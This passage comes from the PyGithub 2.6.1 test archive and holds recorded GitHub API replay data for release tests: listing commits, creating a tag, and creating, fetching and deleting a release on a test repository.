Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0af43d7e5a11d1f3e8c6a83292de12c0"'), ('Last-Modified', 'Tue, 14 Jul 2020 00:58:20 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '89D0:0D15:11BC1BF:1E1E9DD:5F0DE81D')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.0","id":28524234,"node_id":"MDc6UmVsZWFzZTI4NTI0MjM0","tag_name":"v1.0","target_commitish":"master","name":"Test","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T00:58:20Z","assets":[{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22848494","id":22848494,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODQ4NDk0","name":"fact","label":null,"uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":40,"download_count":0,"created_at":"2020-07-14T00:58:17Z","updated_at":"2020-07-14T00:58:18Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.0/fact"}],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.0","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.0","body":"Body"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GitRelease.testCreateGitTagAndRelease.txt0000644000175100001660000003627314756101563026104 0ustar00runnerdockerhttps GET api.github.com None /repos/rickrickston123/RepoTest/commits {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4804'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1ecac7ea1780c4d77d519466d2894d79"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:42 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '876A:6400:55483A:D0463C:5F0DE7FE')] [{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","node_id":"MDY6Q29tbWl0Mjc5MDE1Mjg2OjgxM2RhNTI4ZGE0NmVmNGNiYjI4ZDIwMThlYWE2ZDRiM2Q1NmY0MGY=","commit":{"author":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-12T07:34:42Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-07-12T07:34:42Z"},"message":"Initial commit","tree":{"sha":"c56099e10207d5a7021b4485eda0afc18946727a","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees/c56099e10207d5a7021b4485eda0afc18946727a"},"url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfCr0SCRBK7hj4Ov3rIwAAdHIIAEPYazT1x/QUozS6/rF1YLeX\nK50UqPFfnWA1IRwAVdYEy6Nwmb7bNuIeTna/GFi7BybozBOk2HMfQW2dhoZD35FC\nmGTk6mcy+hyaCrO7sGmCGhbVdcY86X3WxrRABzUqBGeo29CnEtjOfPnmBuW5MTNr\nnq3TBU7mjWZi09ivXIrfYWqxCEpMm4vHRPBZSgzuj/IgZLmQccgIyZu4v0GNkGQk\ngVceI/P849EX+rVSG73YAntlZIJaivqgZO5fvsdQjz92PAMM7bAKf1u7Vg4bt4Yw\n0YSAcXrFPky+kPE6CoXjx2uWVdyISs7RRWJS034z64nckExs99eKbCryjhBJwIA=\n=6HU0\n-----END PGP SIGNATURE-----\n","payload":"tree c56099e10207d5a7021b4485eda0afc18946727a\nauthor rickrickston123 <64711998+rickrickston123@users.noreply.github.com> 1594539282 -0700\ncommitter GitHub 1594539282 -0700\n\nInitial commit"}},"url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","html_url":"https://github.com/rickrickston123/RepoTest/commit/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f/comments","author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[]}] https POST api.github.com None /repos/rickrickston123/RepoTest/git/tags {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag": "v1.25.2", "message": "tag message", "object": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f", "type": "commit"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '694'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4803'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"07fd37f38deaf6c6e9f726b02ec6ed21"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/git/tags/2dbaa07a6e3cad614e02410f5d9ef63961d61da8'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '8772:745C:148E506:20EFAD1:5F0DE7FF')] {"node_id":"MDM6VGFnMjc5MDE1Mjg2OjJkYmFhMDdhNmUzY2FkNjE0ZTAyNDEwZjVkOWVmNjM5NjFkNjFkYTg=","sha":"2dbaa07a6e3cad614e02410f5d9ef63961d61da8","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags/2dbaa07a6e3cad614e02410f5d9ef63961d61da8","tagger":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-14T17:14:39Z"},"object":{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","type":"commit","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f"},"tag":"v1.25.2","message":"tag message","verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}} https POST api.github.com None /repos/rickrickston123/RepoTest/releases {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag_name": "v1.25.2", "draft": false, "prerelease": false, "generate_release_notes": false, "name": "release title", "body": "release message", "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f", "make_latest": "true"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:40 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1839'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4802'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"cbef1009bba70497b94cd661a0e8f188"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/releases/28553914'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '877E:0D15:11BAC33:1E1C79C:5F0DE7FF')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553914","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553914/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28553914/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28553914,"node_id":"MDc6UmVsZWFzZTI4NTUzOTE0","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T17:14:40Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28553914 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:40 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4801'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"cbef1009bba70497b94cd661a0e8f188"'), ('Last-Modified', 'Tue, 14 Jul 2020 17:14:40 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8786:3A7F:114E464:1DA4578:5F0DE800')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553914","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553914/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28553914/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28553914,"node_id":"MDc6UmVsZWFzZTI4NTUzOTE0","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T17:14:40Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https DELETE api.github.com None /repos/rickrickston123/RepoTest/releases/28553914 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:41 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4800'), ('X-RateLimit-Reset', '1594749126'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '878E:39DC:8EBC91:14EEAC3:5F0DE800')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GitRelease.testDelete.txt0000644000175100001660000003247414756101563023056 0ustar00runnerdockerhttps GET api.github.com None /repos/rickrickston123/RepoTest/commits {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4796'), ('X-RateLimit-Reset', '1594749125'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1ecac7ea1780c4d77d519466d2894d79"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:42 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '87B2:745B:958FEC:173AFA9:5F0DE802')] [{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","node_id":"MDY6Q29tbWl0Mjc5MDE1Mjg2OjgxM2RhNTI4ZGE0NmVmNGNiYjI4ZDIwMThlYWE2ZDRiM2Q1NmY0MGY=","commit":{"author":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-12T07:34:42Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-07-12T07:34:42Z"},"message":"Initial commit","tree":{"sha":"c56099e10207d5a7021b4485eda0afc18946727a","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees/c56099e10207d5a7021b4485eda0afc18946727a"},"url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfCr0SCRBK7hj4Ov3rIwAAdHIIAEPYazT1x/QUozS6/rF1YLeX\nK50UqPFfnWA1IRwAVdYEy6Nwmb7bNuIeTna/GFi7BybozBOk2HMfQW2dhoZD35FC\nmGTk6mcy+hyaCrO7sGmCGhbVdcY86X3WxrRABzUqBGeo29CnEtjOfPnmBuW5MTNr\nnq3TBU7mjWZi09ivXIrfYWqxCEpMm4vHRPBZSgzuj/IgZLmQccgIyZu4v0GNkGQk\ngVceI/P849EX+rVSG73YAntlZIJaivqgZO5fvsdQjz92PAMM7bAKf1u7Vg4bt4Yw\n0YSAcXrFPky+kPE6CoXjx2uWVdyISs7RRWJS034z64nckExs99eKbCryjhBJwIA=\n=6HU0\n-----END PGP SIGNATURE-----\n","payload":"tree c56099e10207d5a7021b4485eda0afc18946727a\nauthor rickrickston123 <64711998+rickrickston123@users.noreply.github.com> 1594539282 -0700\ncommitter GitHub 1594539282 -0700\n\nInitial commit"}},"url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","html_url":"https://github.com/rickrickston123/RepoTest/commit/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f/comments","author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[]}] https POST api.github.com None /repos/rickrickston123/RepoTest/git/tags {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag": "v1.25.2", "message": "tag message", "object": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f", "type": "commit"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '694'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4795'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"dfb3490cdce0d03a753fba8073bcd630"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/git/tags/921d1b1637d57d127ce5ee92ed0f84d3c513614a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '87BA:745C:148E717:20EFDEB:5F0DE802')] {"node_id":"MDM6VGFnMjc5MDE1Mjg2OjkyMWQxYjE2MzdkNTdkMTI3Y2U1ZWU5MmVkMGY4NGQzYzUxMzYxNGE=","sha":"921d1b1637d57d127ce5ee92ed0f84d3c513614a","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags/921d1b1637d57d127ce5ee92ed0f84d3c513614a","tagger":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-14T17:14:43Z"},"object":{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","type":"commit","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f"},"tag":"v1.25.2","message":"tag message","verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}} https POST api.github.com None /repos/rickrickston123/RepoTest/releases {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag_name": "v1.25.2", "draft": false, "prerelease": false, "generate_release_notes": false, "name": "release title", "body": "release message", "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f", "make_latest": "true"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1839'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4794'), ('X-RateLimit-Reset', '1594749125'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"6cc770f263309efd304dad200a5987f2"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/releases/28553917'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '87C6:72C3:9AEB34:1613408:5F0DE803')] 